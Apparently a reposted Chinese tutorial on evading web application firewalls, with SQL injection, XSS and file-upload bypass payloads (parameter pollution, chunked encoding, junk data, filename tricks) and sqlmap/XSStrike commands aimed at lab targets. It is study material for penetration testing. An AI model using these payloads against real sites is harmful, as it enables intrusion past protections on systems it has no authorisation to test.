2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)相关的知识,希望对你有一定的参考价值。
参考技术A 1、速度流量问题2、工具的指纹被识别
3、工具的检测Poc或Payload
1、SQL注入&文件上传绕过
2、XSS跨站&其他漏洞绕过
3、HPP污染&垃圾数据&分块等
SQL注入 https://www.cnblogs.com/cute-puli/p/11146625.html
关键字替换
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
更换提交方式:
POST id=-1 union select 1,2,3--+
模拟文件上传 传递数据
分块传输:更改数据请求格式
https://github.com/c0ny1/chunked-coding-converter
HPP参数污染:id=1/* &id=-1%20union%20select%201,2,3%23 /
文件上传:换行解析&垃圾溢出&%00干扰&=符号干扰&参数模拟
filename=a.php
filename="a.php
filename="a.php%00"
垃圾数据;filename="a.php"
无限filename;filename="a.php"
filename=="a.php"
filename="name='uploadfile.php"
filename="Content-Disposition: form-data.php"
filename=="a.ph
p"
python sqlmap.py -u " http://test.xiaodi8.com/pikachu/vul/sqli/sqli_str.php?name=*&submit=%E6%9F%A5%E8%AF%A2 " --random-agent --tamper= rdog.py --proxy=" http://tps118.kdlapi.com:15818 "
格式替换
https://github.com/s0md3v/XSStrike
python xsstrike.py -u " http://test.xiaodi8.com/pikachu/vul/xss/xss_reflected_get.php?message=1&submit=submit " --proxy
txt= y);&submit=%E6%8F%90%E4%BA%A4
文件包含:没什么好说的就这几种
..\ ..../ ...\等
安全狗:
注入 xss 文件上传拦截
rce 文件包含 等其他不拦截
宝塔:
注入 上传拦截
rce 文件包含 xss等其他不拦截
其中拦截的是关键字
aliyun
拦截的CC速度 和 后门 信息收集和权限维持阶段拦截
漏洞利用 他不拦截 默认的版本(升级版本没测试)
WAF PHP环境 JAVA不支持
HTTP参数污染
HTTP Parameter Pollution简称HPP,所以有的人也称之为“HPP参数污染”。
一篇很不错关于HPP参数污染的文章:http://www.paigu.com/a/33478/23535461.html
如文章中所言,HPP并非一个漏洞,但是网站存在SQL或者XSS,在有WAF的情况之下可以帮助黑客进行绕过WAF。
那么什么是HPP参数污染呢?
假设这个URL:http://www.xxxx.com/search.php?id=110&id=911
百度会理解成让百度搜索:110 #选择了第一个参数,放弃了第二个参数。
雅虎会理解成让雅虎搜索:911 #选择了第二个参数,放弃了第一个参数。
谷歌会理解成让谷歌搜索:110 911 #两个参数同时选择。
主要的就是这三种情况了。
这主要是源于,不同的网站对处理参数的处理方式不同。PS:跟米哥一起学习的,总结米哥的,感觉我总结的还是欠妥当。
那么注入是怎么跟HTTP污染产生关系的呢?
倘若是第三种情况,也就是第一个参数取第二个参数也取。那么大家请看下面的URL
http://www.xishaonian.com/hello.php?id=select 1&id=2,3,3 from admin
该种情况还可用于Bypass WAF.
当然还可以与XSS结合。
具体服务端处理方式如下:
Web服务器 |
参数获取函数 |
获取到的参数 |
PHP/Apache |
$_GET(“par”) |
Last |
JSP/Tomcat |
Request.getParameter(“par”) |
First |
Perl(CGI)/Apache |
Param(“par”) |
First |
Python/Apache |
Getvalue(“par”) |
All(List) |
ASP/IIS |
Request.QueryString(“par”) |
All(comma-delimited string) |
以上是关于2-WAF主要过滤方式及绕过(HPP污染&分块传输&垃圾数据)的主要内容,如果未能解决你的问题,请参考以下文章